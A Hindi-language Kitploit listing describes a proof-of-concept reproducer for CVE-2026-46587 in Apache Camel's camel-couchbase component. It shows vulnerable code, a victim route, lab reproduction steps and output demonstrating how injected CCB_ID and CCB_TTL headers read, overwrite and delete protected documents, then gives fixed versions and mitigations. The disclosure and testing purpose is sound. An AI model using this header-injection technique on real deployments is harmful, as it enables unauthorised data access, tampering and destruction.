Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-46587 — CVE-2026-46587 के लिए पुनरुत्पादक: Apache Camel camel-couchbase CCB_* हेडर इंजेक्शन, जो दस्तावेज़ प्रकटीकरण, छेड़छाड़ और TTL-बलपूर्वक डेटा विनाश को सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-46587
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHuboscerd/cve-2026-46587

CVE-2026-46587

CVE-2026-46587 के लिए पुनरुत्पादक: Apache Camel camel-couchbase CCB_* हेडर इंजेक्शन, जो दस्तावेज़ प्रकटीकरण, छेड़छाड़ और TTL-बलपूर्वक डेटा विनाश को सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया)

रिपॉजिटरी देखें
21 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-couchbase CCB_* हेडर इंजेक्शन रिप्रोड्यूसर (CVE-2026-46587)

यह प्रोजेक्ट Apache Camel के camel-couchbase घटक में एक मैसेज-हेडर इंजेक्शन प्रदर्शित करता है, जिसे CVE-2026-46587 के रूप में ट्रैक किया जाता है। यह घटक अपने व्यवहार को नियंत्रित करने के लिए कई Exchange हेडर पढ़ता है — CCB_KEY (दस्तावेज़ कुंजी), CCB_ID (दस्तावेज़ आईडी), CCB_TTL (दस्तावेज़ समाप्ति), CCB_DDN (डिज़ाइन दस्तावेज़ नाम) और CCB_VN (व्यू नाम)। इन हेडर स्थिरांकों के स्ट्रिंग मान (CouchbaseConstants में परिभाषित) सादे, अप्रीफिक्स्ड नाम हैं, न कि Camel-प्रीफिक्स्ड नाम जो हर अन्य घटक उपयोग करता है (जैसे CamelSqlQuery)। Camel का इनबाउंड केवल उन हेडर नामों को ब्लॉक करता है जो / से शुरू होते हैं, इसलिए ये नाम इनबाउंड फ़िल्टर से अपरिवर्तित गुज़र जाते हैं। जब कोई रूट couchbase प्रोड्यूसर के सामने एक HTTP एंट्री पॉइंट (उदाहरण के लिए platform-http) उजागर करता है, तो एक अविश्वसनीय HTTP क्लाइंट इन हेडरों को सीधे सेट कर सकता है और कर सकता है।

HttpHeaderFilterStrategy
Camel
camel
रूट लेखक द्वारा कॉन्फ़िगर किए गए दस्तावेज़ आईडी, TTL, डिज़ाइन दस्तावेज़ नाम या व्यू नाम को ओवरराइड

यह PoC एक ही दोष से तीन अलग-अलग प्रभाव प्रदर्शित करता है:

  1. प्रकटीकरण — एक इंजेक्ट किया गया CCB_ID कॉलर के दायरे से बाहर का दस्तावेज़ पढ़ता है।
  2. छेड़छाड़ — लेखन पर एक इंजेक्ट किया गया CCB_ID एक सुरक्षित दस्तावेज़ को ओवरराइट करता है।
  3. डेटा विनाश — एक इंजेक्ट किया गया CCB_TTL=1 कॉलर के अपने दस्तावेज़ को चुपचाप स्वयं-नष्ट करने के लिए बाध्य करता है।

परामर्श: https://camel.apache.org/security/CVE-2026-46587.html

भेद्यता सारांश

गुणमान
घटकcamel-couchbase
प्रभावित क्लासorg.apache.camel.component.couchbase.CouchbaseProducer जो CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), आदि पढ़ता है
CWECWE-20: अनुचित इनपुट सत्यापन
प्रभावएक HTTP क्लाइंट CCB_* हेडर सेट करता है → दस्तावेज़ आईडी / TTL / डिज़ाइन-डॉक / व्यू ओवरराइड → प्रकटीकरण, छेड़छाड़, डेटा हानि
पूर्व-शर्तेंएक रूट HTTP कंज़्यूमर के पीछे couchbase प्रोड्यूसर उजागर करता है (जैसे platform-http); कंज़्यूमर होने पर अनप्रमाणित
प्रभावित संस्करण4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले
सुधारित संस्करण4.14.8, 4.18.3, 4.21.0
सुधारPR apache/camel#23228 (मुख्य), #23230 (4.18.x) / #23231 (4.14.x) के माध्यम से बैकपोर्ट किया गया
श्रेयYu Bao (PayPal)

यह CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 और CVE-2026-47323 के समान हेडर-इंजेक्शन परिवार से है। सुधार अपना PR सहयोगी परामर्श CVE-2026-46588 (camel-couchdb) के साथ साझा करता है।

तकनीकी विवरण

root@kitploit:~
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID  = "CCB_ID";
String HEADER_TTL = "CCB_TTL";

// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl   = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)

सुधार (4.14.8 / 4.18.3 / 4.21.0) हेडर मानों का नाम बदलकर Camel परंपरा के अनुसार करता है — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — ताकि वे हर अन्य Camel नियंत्रण हेडर की तरह इनबाउंड HttpHeaderFilterStrategy द्वारा ब्लॉक हो जाएँ। Java स्थिरांक फ़ील्ड नाम अपरिवर्तित हैं।

पीड़ित रूट

root@kitploit:~
from("platform-http:/save")           // and /fetch
    .removeHeaders("Camel*")                                   // documented hardening — see below
    .choice().when(header("CCB_ID").isNull())
        .setHeader("CCB_ID", constant("user-draft"))           // default to the caller's own document
    .end()
    .to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");

यह रूट दस्तावेज़ आईडी को कॉलर के अपने ड्राफ्ट पर डिफ़ॉल्ट करता है और, प्रलेखित हार्डनिंग के अनुसार, किनारे पर Camel नियंत्रण-हेडर नेमस्पेस हटा देता है। इससे कोई मदद नहीं मिलती: ओवरराइड हेडरों के नाम CCB_ID / CCB_TTL हैं, न कि CamelCouchbaseId / CamelCouchbaseTtl, इसलिए वे न तो removeHeaders("Camel*") द्वारा हटाए जाते हैं और न ही अंतर्निहित HTTP हेडर फ़िल्टर द्वारा — और प्रोड्यूसर उनका सम्मान करता है।

डेटाबेस में दो दस्तावेज़ सीड किए जाते हैं: user-draft (कॉलर का अपना) और system-config (एक संवेदनशील दस्तावेज़ जिसे एंडपॉइंट को कभी उजागर नहीं करना चाहिए)।

रिपॉज़िटरी संरचना

पीड़ित Camel रूट और उनका Couchbase डेटाबेस है; हमलावर एक अनप्रमाणित HTTP क्लाइंट है जो केवल अनुरोध हेडर सेट करता है। एक छोटा SDK हार्नेस सत्यापन के लिए, भेद्य रूट से स्वतंत्र रूप से, दस्तावेज़ सीड और पढ़ता है।

root@kitploit:~
CVE-2026-46587/
├── pom.xml                 # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml      # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchbaseSettings.java    # host / bucket / creds / document ids
    │   ├── CouchbaseHarness.java     # SDK harness: seeds + reads docs for verification
    │   ├── VictimRoute.java          # platform-http:/save and /fetch -> couchbase producer
    │   └── ExploitController.java    # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
    └── resources/
        └── application.properties

पूर्वापेक्षाएँ

  • Docker और Docker Compose (Couchbase सर्वर + ऐप चलाता है)
  • Java 17+ और Maven 3.8+ (jar बनाने के लिए)

पुनरुत्पादन चरण

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build          # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

कंपोज़ फ़ाइल एक सिंगल-नोड Couchbase क्लस्टर (केवल KV) आरंभ करती है, mybucket बकेट और एक appuser बनाती है, फिर ऐप शुरू करती है। नोड होस्टनाम के रूप में एक डॉटेड नेटवर्क alias (couchbase.cve.local) उपयोग किया जाता है क्योंकि Couchbase छोटे होस्टनाम को अस्वीकार करता है।

अपेक्षित आउटपुट

root@kitploit:~
initial DB state (read straight from Couchbase):
  user-draft    = empty-draft
  system-config = PROTECTED-ORIGINAL-CONFIG

=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
  empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
  PROTECTED-ORIGINAL-CONFIG
  read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
  system-config = PROTECTED-ORIGINAL-CONFIG   (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
  system-config = ATTACKER-OVERWRITE-PAYLOAD
  write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
  user-draft immediately after save: important quarterly data the user just saved
  user-draft ~2.5s later:            <not found: DocumentNotFoundException>
  ttl-injection / data loss: true

>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).

हमले के वेक्टर

कोई भी रूट जिसका couchbase प्रोड्यूसर HTTP कंज़्यूमर से पहुंच योग्य हो। इंजेक्ट करने योग्य हेडर: CCB_ID / CCB_KEY (दस्तावेज़ आईडी/कुंजी → मनमाने दस्तावेज़ पढ़ना, ओवरराइट करना या हटाना), CCB_TTL (बलपूर्वक समाप्ति → डेटा हानि), और कंज़्यूमर पक्ष पर, CCB_DDN / CCB_VN (डिज़ाइन दस्तावेज़ और व्यू नाम)।

अनुशंसित सुधार

4.14.8 / 4.18.3 / 4.21.0 में अपग्रेड करें (परामर्श PR #23228)। सुधार के बाद ओवरराइड हेडर Camel प्रीफिक्स (CamelCouchbaseId, CamelCouchbaseTtl, …) धारण करते हैं और हर अन्य नियंत्रण हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाते हैं।

शमन

अपग्रेड करने तक, प्रभावित हेडरों को अविश्वसनीय इनबाउंड संदेशों से प्रोड्यूसर तक पहुँचने से पहले हटाएँ, जैसे couchbase एंडपॉइंट के सामने .removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") और .removeHeader("CCB_VN"), या एक कस्टम HeaderFilterStrategy लागू करें जो इन नामों को ब्लॉक करता है।

अस्वीकरण

यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और सुधारित भेद्यता के लिए। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।

टूल डाउनलोड करें